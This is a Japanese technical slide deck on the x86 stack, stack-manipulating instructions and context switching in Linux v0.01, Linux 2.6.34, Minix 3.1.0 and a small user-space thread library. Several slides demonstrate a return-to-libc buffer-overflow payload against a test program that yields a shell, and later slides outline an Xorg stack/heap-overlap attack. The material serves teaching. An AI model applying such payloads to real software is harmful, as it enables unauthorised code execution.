More Related Content Similar to x86とコンテキストスイッチ Similar to x86とコンテキストスイッチ (20) More from Masami Ichikawa More from Masami Ichikawa (8) x86とコンテキストスイッチ2. 自己紹介
・ Linux 好き
- Fedora の Proven testers グループのメンバー
- Fedora のテストを色々とやってます
- 昔は Debian でパッケージのメンテしたり
・自作カーネルは一応経験済み
3. はじめに
• 特に明記しない限り、 x86_32 のプロテクトモー
ドで、呼出規約は cdecl です
[masami@ftest x86]$ uname -a
Linux ftest 2.6.33.6-147.fc13.i686 #1 SMP Tue Jul 6 22:30:55 UTC 2010 i686 i686 i386
GNU/Linux
[masami@ftest x86]$ gcc -v
Using built-in specs.
Target: i686-redhat-linux
コンフィグオプション : ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info
--with-bugurl=http://bugzilla.redhat.com/bugzilla --enable-bootstrap --enable-shared --enable-
threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-
libunwind-exceptions --enable-gnu-unique-object --enable-languages=c,c++,objc,obj-c+
+,java,fortran,ada --enable-java-awt=gtk --disable-dssi --with-java-home=/usr/lib/jvm/java-1.5.0-
gcj-1.5.0.0/jre --enable-libgcj-multifile --enable-java-maintainer-mode --with-ecj-
jar=/usr/share/java/eclipse-ecj.jar --disable-libjava-multilib --with-ppl --with-cloog --with-
tune=generic --with-arch=i686 --build=i686-redhat-linux
スレッドモデル : posix
gcc version 4.4.4 20100630 (Red Hat 4.4.4-10) (GCC)
4. Agenda
Todo Doing Done
Linux
Stack
v0.01
Stack の Linux
命令 v2.6.34
Stack の Minux
まとめ v3.1.0
Context
スレッド
Switch
5. Agenda
Todo Doing Done
Linux
Stack
v0.01
Stack の Linux
命令 v2.6.34
Stack の Minux
まとめ v3.1.0
Context
スレッド
Switch
7. Stack
• SS レジスタが指すセグメントの領域
– スタックが絡む命令では CPU が自動的に参照
• フラットメモリモデルの場合
– リニアアドレス空間にスタックを設定可
– 領域の大きさは、セグメント次第
• アクセスには esp 、 ebp を使用する
• 関数単位でスタックフレームに分割される
• メモリの高位アドレスから低位アドレスに
向かって領域が伸びていく
8. esp と ebp
• esp
– スタックポインタ
• スタックの末端のアドレスを指す
• ebp
– スタックフレームのベースポインタ
– 減算することで、ローカル変数へアクセス
– 加算することで、関数の引数へアクセス
9. スタックフレーム - サンプル
void test2(int a, int b)
{
char s[10];
}
void test1(int a, int b)
{
int n = 10;
int m = 20;
test2(n + a, m + b);
}
int main(int argc, char **argv)
{
test1(1, 2);
return 0;
}
10. 低位アドレス スタックフレーム
esp
s
test2() のスタックフレーム
Saved ebp
Ret address
test1() で引数の n と m にするには、この
a ようになる
movl %eax, 8(%ebp) <- a にアクセス
b
test1() のスタックフレーム movl %edx, 12(%ebp) <- b にアクセス
n
ローカル変数の場合は、
m movl -4(%ebp), %eax <- m にアクセス
Saved ebp movl -8(%ebp), %edx <- n にアクセス
Ret address
a
main() のスタックフレーム
b
Saved ebp
高位アドレス
11. test1() 実行時のスタックフレーム
(gdb) x/x $ebp + 0
0xbffff708: 0xbffff718
(gdb) x/x $ebp + 4
0xbffff70c: 0x080483e9
(gdb) x/x $ebp + 8
0xbffff710: 0x00000001
(gdb) x/x $ebp + 12
0xbffff714: 0x00000002
(gdb) x/x $ebp - 4
0xbffff704: 0x00000014
(gdb) x/x $ebp - 8
0xbffff700: 0x0000000a
(gdb) x/20x $esp
0xbffff6f0: 0x005531e0 0x08048215 0x00555ce0 0x00554ff4
0xbffff700: 0x0000000a 0x00000014 0xbffff718 0x080483e9
0xbffff710: 0x00000001 0x00000002 0xbffff798 0x003e3cc6
0xbffff720: 0x00000001 0xbffff7c4 0xbffff7cc 0xb7fff3d0
12. Agenda
Todo Doing Done
Linux Stack の
Stack
v0.01 命令
Linux
v2.6.34
Stack の Minux
まとめ v3.1.0
Context
スレッド
Switch
14. Stack 操作の命令 - Push/Pop
void push_pop(void)
{
int n = 0x20;
printf("before: n is 0x%xn", n); $ ./a.out
before: n is 0x20
asm volatile("push $0x10;nt" after: n is 0x10
"pop %
[output];nt"
:[output]
"=g"(n));
printf("after: n is 0x%xn", n);
}
15. Stack 操作の命令 - Call/Ret
void call001(void)
{
printf("call001-1n"); $ ./a.out
asm ("pop %ebp;nt" call001-1
"ret;nt");
printf("call001-2n");
} call と ret 命令では、 cpu がリターンア
ドレスをスタック [ に積む / から取得 ]
void call_ret(void) するので、使用時にこの辺は気にしな
{ くてもよい仕様になってます。
asm ("call call001;nt");
}
16. Stack 操作の命令 - Enter/Leave
.globl enter_leave
/* int enter_leave(void) */
enter_leave:
/* Reserve 16 bytes stack frame */ $ ./a.out
enter $0x10, $0 ret is 32
movl $0x20, -4(%ebp)
/* %eax is return value */
movl -4(%ebp), %eax enter 命令の実行内容は、以下
/* Clear the stack frame */ の内容とほぼ等価です
leave pushl %ebp
ret
movl %esp, %ebp
/* 呼び出し */ subl $16, %esp
printf("ret is %dn",enter_leave());
17. eip
• 次に実行する命令のアドレスが入る
• eip を直接弄ることはありません
• mov $0x10, %eip とかはできません
• call 、 ret や jmp 命令など実行すると
cpu が適切な値を eip にセット
• eip はスタックに積まれるので、制御を
自分で変更したい場合はこちらを弄り
ます
18. 制御を自分で変える
void hello2(void)
{
cout << __FUNCTION__ << endl;
exit(0);
}
extern "C" __attribute__((fastcall)) int hello(int a, int b)
{
cout << a << ":" << b << endl;
}
return 0; $ ./a.out
int main(int argc, char **argv) 10:20
{
int a = 10, b = 20; hello2
unsigned long addr = (unsigned long) &hello2;
__asm__ __volatile__("push %[ret_ip]nt"
"jmp hello;nt"
::
[ret_ip] "g" (addr),
[arg_a] "c"(a),
[arg_b] "d"(b));
return 0;
}
19. Agenda
Todo Doing Done
Linux Stack の
Stack
v0.01 まとめ
Linux Stack の
v2.6.34 命令
Minux
v3.1.0
Context
スレッド
Switch
22. system() に渡す引数の準備
bt test$ BINSH=/bin/sh ; export BINSH
bt test $ echo $BINSH
/bin/sh
bt test $ ./getenv
environment[BINSH] is in 0xbfffff15
23. メモリレイアウト
低位アドレス
system() に渡す引数のアドレス
0xbfffff15
exit() のアドレス
0xb7ece3a0
system() のアドレス
0xb7ed86e0
B*4 オーバーフロー用のゴミデータ
BBBB で ebp が上書きされる
A*72
高位アドレス
24. 実行してみる
bt test $ ltrace ./vuln `python -c 'print "A"*72 + "BBBB" + "xe0x86xedxb7" +
"xa0xe3xecxb7" + "x15xffxffxbf"'`
__libc_start_main(0x80483ee, 2, 0xbffff614, 0x8048440, 0x80484a0 <unfinished ...>
strcpy(0xbffff510, 0xbffff74c, 0, 0xbffff554, 0x6f6e2800) =
0xbffff510
sh-3.1$ id
uid=1001(cola) gid=100(users) groups=100(users)
sh-3.1$ exit
exit
--- SIGCHLD (Child exited) ---
+++ exited (status 0) +++
bt test $
25. Agenda
Todo Doing Done
Linux Context
Stack
v0.01 Switch
Linux Stack の
v2.6.34 命令
Minux Stack の
v3.1.0 まとめ
スレッド
26. Context Switching
• Hardware Context Switching
–X86 のタスク切り替え機能を利用
–Linux の v0.01 はこちら
• Software Context Switching
–自分でタスクを切り替える
• 一部で cpu の機能を使う必要がある
–今時のカーネルは普通こちら
28. Hardware Context Switching
• CPU によるサポート
– FPU 、 MMX 、 SSE の切り替えは未サポート
– GDT に TSS を置くので、タスク数は 8190 個
が最大
• あまり使われていない
– モダンな OS で使われてるケースってあるので
しょうか?
• Why?
– 遅い(らしい)
– http://wiki.osdev.org/Context_Switching
29. Hardware Context Switching の処理
• TSS を作り GDT に置く
– TSS はプロセス毎
• ltr 命令で TSS をセットする
– 1 つ目の TSS だけで OK
• プロセスの切り替えは、 JMP/CALL 命令で
実施
– 各レジスタのセーブ・リストアに関しては
CPU がやってくれる
– FPU などは除く
31. Software Context Switching の処理
• TSS を作り GDT に置く
– Linux の場合、 TSS は cpu 毎
• ltr 命令で TSS をセットする
– 1 つ目の TSS だけで OK
• プロセスの切り替えはスタックの切り替えで実
施
– スタックを次のプロセスのものに切り替えて
るのと、関数から戻るときにスタックに積ま
れている eip を利用して切り替えを実施
– FPU などは自分で切り替える
32. Agenda
Todo Doing Done
Linux
Stack
v0.01
Linux Stack の
v2.6.34 命令
Minux Stack の
v3.1.0 まとめ
Context
スレッド Switch
34. Linux v0.01 - sched_init
kernel/sched.c
231void sched_init(void) TSS ディスクリプタを GDT にセット
232{ * fork() 時は新プロセス用に作った TSS
ディスクリプタをセットします
233 int i;
234 struct desc_struct * p;
235
236 set_tss_desc(gdt+FIRST_TSS_ENTRY,&(init_task.task.tss));
237 set_ldt_desc(gdt+FIRST_LDT_ENTRY,&(init_task.task.ldt));
snip
246 ltr(0); ltr 命令で TSS をセットします。
snip
254}
include/linux/sched.h
154#define ltr(n) __asm__("ltr %%ax"::"a" (_TSS(n))
35. Linux v0.01 - copy_process()
kernel/fork.c
61int copy_process(int nr,long ebp,long edi,long esi,long gs,long none,
64 long eip,long cs,long eflags,long esp,long ss)
65{
snip
70 p = (struct task_struct *) get_free_page();
71 if (!p)
72 return -EAGAIN;
73 *p = *current; /* NOTE! this doesn't copy the supervisor stack */
74 p->state = TASK_RUNNING;
75 p->pid = last_pid; 70 行目以降で作った新しいプ
snip ロセスのディスクリプタを設定
118 set_tss_desc(gdt+(nr<<1)+FIRST_TSS_ENTRY,&(p->tss));
119 set_ldt_desc(gdt+(nr<<1)+FIRST_LDT_ENTRY,&(p->ldt));
120 task[nr] = p; /* do this last, just in case */
121 return last_pid;
36. Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp;
170__asm__("cmpl %%ecx,_currentnt"
171 "je 1fnt"
172 "xchgl %%ecx,_currentnt" __tmp.b に gdt に設
定されている次のプ
173 "movw %%dx,%1nt" ロセスの TSS セレク
174 "ljmp %0nt" タ値を代入
175 "cmpl %%ecx,%2nt"
176 "jne 1fnt"
177 "cltsn"
178 "1:"
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b),
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
37. Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp;
170__asm__("cmpl %%ecx,_currentnt"
171 "je 1fnt"
172 "xchgl %%ecx,_currentnt" カレントプロセスと次のプロ
173 "movw %%dx,%1nt" セスが同一ならなにもしない
174 "ljmp %0nt"
175 "cmpl %%ecx,%2nt"
176 "jne 1fnt"
177 "cltsn"
178 "1:"
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b),
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
38. Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp;
170__asm__("cmpl %%ecx,_currentnt"
171 "je 1fnt"
172 "xchgl %%ecx,_currentnt"
173 "movw %%dx,%1nt"
セグメント間ジャンプでプロセス
174 "ljmp %0nt"
切り替え実行
175 "cmpl %%ecx,%2nt"
176 "jne 1fnt"
177 "cltsn"
178 "1:"
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b),
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
39. Linux v0.01 - switch_to()
include/linux/sched.h
168#define switch_to(n) {
169struct {long a,b;} __tmp;
170__asm__("cmpl %%ecx,_currentnt"
171 "je 1fnt"
172 "xchgl %%ecx,_currentnt"
173 "movw %%dx,%1nt" 最後に FPU レジスタを使ったプロ
174 "ljmp %0nt" セスと切り替え後のプロセスを比
175 "cmpl %%ecx,%2nt" 較して同じだったら、 clts 命令を
176 "jne 1fnt" 実行い CR0 レジスタの TS フラグ
177 "cltsn" をリセットする
178 "1:"
179 ::"m" (*&__tmp.a),"m" (*&__tmp.b),
180 "m" (last_task_used_math),"d" _TSS(n),"c" ((long) task[n]));
40. clts 命令と TS フラグ
• CR0 レジスタの TS フラグをクリアする命令
• TS は Task Switch の略
• TS フラグはハードウェアコンテキストスイッチ
発生時に CPU によりセットされる
• このフラグが立っているときに、浮動小数点命
令を使用すると例外( Device not available) が発
生する
• この仕組みを利用して、 FPU レジスタの退避を
遅延させることができる
41. Agenda
Todo Doing Done
Minux Linux Linux
Stack
v3.1.0 v2.6.34 v0.01
Stack の
スレッド 命令
Stack の
まとめ
Context
Switch
43. Linux 2.6.34 の Context Switch
• switch_to マクロ
– arch/x86/include/asm/system.h
• __switch_to()
– arch/x86/kernel/process_32.c
44. switch_to - 概要
arch/x86/include/asm/system.h
44/*
45 * Saving eflags is important. It switches not only IOPL
between tasks,
46 * it also protects other tasks from NT leaking through
sysenter etc.
47 */
48#define switch_to(prev, next, last)
このマクロはカレントプロセスの eip 、 esp 、 ebp の保存と、
次のプロセスのために eip 、 esp 、 ebp の設定、 __switch_to()
の呼出をします。 __switch_to() から戻った時点で、プロセスが
切り替わっています。
45. switch_to - 実行部分
57 unsigned long ebx, ecx, edx, esi, edi;
58
59 asm volatile("pushflnt" /* save flags */
60 "pushl %%ebpnt" /* save EBP */
61 "movl %%esp,%[prev_sp]nt" /* save ESP */
62 "movl %[next_sp],%%espnt" /* restore ESP */
63 "movl $1f,%[prev_ip]nt" /* save EIP */
64 "pushl %[next_ip]nt" /* restore EIP */
65 __switch_canary
66 "jmp __switch_ton" /* regparm call */
67 "1:t"
68 "popl %%ebpnt" /* restore EBP */
69 "popfln" /* restore flags */
46. __switch_to() の主な処理
• もし Prev プロセスが FPU を使っていた場合
は、 FPU レジスタを退避する
• clts 命令の実行などもある
• カーネル用のスタックを設定
• TSS の sp0
• Thread Local Storage へアクセス出きるよう
にセグメントを設定
• I/O ポートへのアクセス権の設定
47. プロセス切替の完了
67 "1:t"
68 "popl %%ebpnt" /* restore
EBP */
69 "popfln" /* restore flags */
__switch_to() から戻る場所は、 67 行目にセット
されているので、 ebp と、 eflags をリストアす
ることで switch_to() の処理は終了し、 Next プロ
セスの実行が始まる。
48. プロセス切替時のスタックの様子
jmp 命令で __switch_to() を呼
Prev プロセスの び、 __switch_to() から return するとき
スタック にきに ret 命令が Next プロセスのスタ
ックから %next_ip を読込み、指定され
ebp esp た場所に戻る
pushl %%ebp
eflags
pushfl
XXX
Next プロセスの
XXX
スタック
movl %[next_sp],%%esp
esp
Ret Address
pushl %
XXX [next_ip]
XXX
49. Agenda
Todo Doing Done
Minux Linux
スレッド Stack
v3.1.0 v0.01
Stack の Linux
命令 v2.6.34
Stack の
まとめ
Context
Switch
51. Minix3.1.0 の Context Switch
●
kernel/mpx386.s に実装がある
●
_restart() がコンテキストスイッチを実行
●
通常は c の関数からは呼ばれない
●
同ファイルの割り込みハンドラから実行
例外は kernel/main.c の main() で、終了時に呼
●
び出される
●
main() の最後に _restart() を呼ぶ
●
スケジューラにセットされたサーバプロセス
の起動処理が走りだす
52. _restart - 前半
_restart:
cmp (_next_ptr), 0 _next_ptr は次のプロセス
jz 0f で、次のプロセスが無け
mov eax, (_next_ptr) れば、今のプロセスを継
mov (_proc_ptr), eax 続する
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
53. _restart - 前半
_restart:
_proc_ptr に _next_ptr をセ
cmp (_next_ptr), 0 ットして、 _next_ptr を
jz 0f NULL にする
mov eax, (_next_ptr)
mov (_proc_ptr), eax
LDT をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
54. _restart - LDT の設定
先ほど出てきた P_LDT_SEL はマクロで、 proc 構造体の配列 p_ldt
にアクセスするために使用しています。このマクロを使用すること
で、 lldt 命令の引数を正しくセットできます。
マクロは kernel/sconst.h にて定義。
struct proc {
struct stackframe_s p_reg; /* process' registers saved in stack frame
*/
#if (CHIP == INTEL)
reg_t p_ldt_sel; /* selector in gdt with ldt base and limit */
struct segdesc_s p_ldt[2+NR_REMOTE_SEGS]; /* CS, DS and
remote segments */
#endif
この p_ldt にアクセスする
55. _restart - 前半
_restart:
cmp (_next_ptr), 0
jz 0f
mov eax, (_next_ptr)
mov (_proc_ptr), eax TSS の sp0 をセット
mov (_next_ptr), 0
0: mov esp, (_proc_ptr)
lldt P_LDT_SEL(esp)
lea eax, P_STACKTOP(esp)
mov (_tss+TSS3_S_SP0), eax
56. Minix の TSS 構造体
kernel/protect.h
struct tss_s {
reg_t backlink;
reg_t sp0;
reg_t ss0; mov (_tss+TSS3_S_SP0), eax
reg_t sp1; ↑ の mov 命令で sp0 をセットするわけですが、その仕組み
は単純で、 TSS を表す構造体 _tss の先頭からオフセット
snip TSS3_S_SP0 バイト目にアクセスするだけです。
386 版の aMinix では reg_t は 4 バイトなので、先頭から 4 バ
}; イト目は sp0 となり、目的の位置にアクセスできます。
#define TSS3_S_SP0 4
57. _restart - 後半
restart1: _restart() 内では使用しないラベル
decb (_k_reenter)
カーネルのリエントラント用
o16 pop gs のカウンタをデクリメント
o16 pop fs
o16 pop es
o16 pop ds スタックに積まれているリ
popad ターンアドレスを無視
add esp, 4
iretd
iretd で抜けて処理が完了
58. Agenda
Todo Doing Done
Linux
スレッド Stack
v0.01
Stack の Linux
命令 v2.6.34
Stack の Minux
まとめ v3.1.0
Context
Switch
59. スレッド
スタックの切り替えでスレッドを切り替え
ることができます
実験は x86_64 で行ってます
60. スレッド構造体
typedef struct _Thread {
struct _Thread *next;
int thread_id;
unsigned long context[CONTEXT_SIZE];
char *stack_top; /* NULL if this is main() thread */
int status;
} Thread;
61. メインスレッド
void ThreadMain(int argc, char **argv)
{
int t1, t2;
t1 = ThreadCreate(f, 1);
printf("create a new thread (i=%d) [id=%d]n", 1, t1);
t2 = ThreadCreate(f, 2);
printf("create a new thread (i=%d) [id=%d]n", 2, t2);
ThreadYield();
printf("main thread finished.n");
}
62. スレッド生成 - 前半
int ThreadCreate(ThreadProc proc, unsigned long arg)
{
Thread *child;
unsigned long addr = (unsigned long) ThreadStart;
unsigned long stack_start = 0;
child = AllocateThread();
child->stack_top = malloc(STACK_ALLOC_SIZE);
memset(child->stack_top, 0, STACK_ALLOC_SIZE);
stack_start = (unsigned long) child->stack_top + STACK_SIZE;
memcpy((char *) stack_start, &addr, sizeof(addr));
63. スレッド生成 - 後半
child->context[0] = stack_start;
child->context[1] = stack_start;
child->context[2] = (unsigned long) proc;
child->context[3] = arg;
child->status = RUNNING;
LinkThread(child);
return child->thread_id;
}
65. ThreadYeild- 前半
void ThreadYield()
{
Thread *t;
int found = 0;
for (t = threadList->next; t; t = t->next) {
if (t && t->status == RUNNING && t != currentThread) {
found = 1;
break;
}
}
66. ThreadYeild- 後半
if (found) {
Thread *cur = currentThread;
currentThread = t;
printf("switch id %d to %dn", cur->thread_id, t->thread_id);
_ContextSwitch(cur->context, t->context);
} else if (currentThread->thread_id == MAIN_THREAD_ID) {
// main thread's state is FINISH.
printf("There is only main threadn");
} else {
printf("There is no active threadn");
}
}
67. _ContextSwitch
//void _ContextSwitch(void* old_context, void* new_context);
.globl ENTRY(_ContextSwitch)
ENTRY(_ContextSwitch):
movq %rdi, %rax // old
movq %rsp, 0(%rax)
movq %rbp, 8(%rax)
movq %rdi, 16(%rax)
movq %rsi, 24(%rax)
movq %rsi, %rax // new
movq 0(%rax), %rsp
movq 8(%rax), %rbp
movq 16(%rax), %rdi // arg1
movq 24(%rax), %rsi // arg2
ret
68. スレッドの実行内容
void f(int i)
{
int n = 0;
for (n = 0; n < 10; n++) {
printf("thread(%d): %d.n", i, n);
ThreadYield();
}
printf("thread (i=%d) finished.n", i);
}
69. 実行結果
[masami@moon]~/experiment/thread% ./test1
create a new thread (i=1) [id=1]
create a new thread (i=2) [id=2]
switch id 0 to 2
thread(2): 0.
switch id 2 to 1
thread(1): 0.
switch id 1 to 2
~
switch id 1 to 2
thread (i=2) finished.
switch id -1 to 1
thread (i=1) finished.
switch id -1 to 0
main thread finished.
70. まとめ
• プロセスの切り替えは、スタックとスタック
操作のメカニズムが主要な鍵になってます
• スタック周りの説明はバッファオーバーフロ
ーなどのテクニックを紹介している本が結構
詳しいです
• 大概は x86 で説明しているのと、 exploit コ
ードの説明ではスタックの知識が必要なので
…
71. 追加スライド
• Linux カーネルの脆弱性のレポート
– Exploiting large memory management
vulnerabilities in Xorg server running on
Linux
• スタック & ヒープ領域に絡んだ話です
– デフォルトインストールの Fedora 13 で
再現
• F13 は selinux 有効、 exec-shiled パッ
チ有りがデフォルトです
72. 概要
スタックとヒープを大量に使った場合の問題
●
●
スタックとヒープが重なったら危険!
Xorg の MIT-SHM という拡張機能を使ってい
●
ると exploit の効果が抜群
●
この拡張を無効にすれば exploit の信頼性が落
ちるけど、 Xorg の機能性も落ちる
73. シナリオ
X サーバに大量のメモリを確保させる
●
●
x86_32 では実行する必要なし
●
共有メモリ S を限界まで確保させる
●
関数 F の再帰呼び出しを繰り返し実行させる
●
S の領域に 0 以外のデータが入っている場所
を探す
●
スタックフレームとヒープが重なった!
74. シナリオ
●
プロセス W を立ち上げて、 S 内のデータを
payload で書き換える
●
F が関数から戻るときはスタックからリター
ンアドレスを取得する
●
この時に payload を読み込んだらゲームオー
バー
●
W による書き換えと、 F がリターンアドレス
を取得するタイミングでレースがある
●
でも、ほとんどの SMP システムでは上手く
できる
76. リファレンス
• Insecure Programming by example
– http://community.corest.com/~gera/InsecureProgramming/
• OSDev.org
– http://wiki.osdev.org/Main_Page
• Hacking: 美しき策謀 —脆弱性攻撃の理論と実際
– http://www.amazon.co.jp/dp/4873112303
• xorg-large-memory-attack.pdf
– http://www.invisiblethingslab.com/resources/misc-
2010/xorg-large-memory-attacks.pdf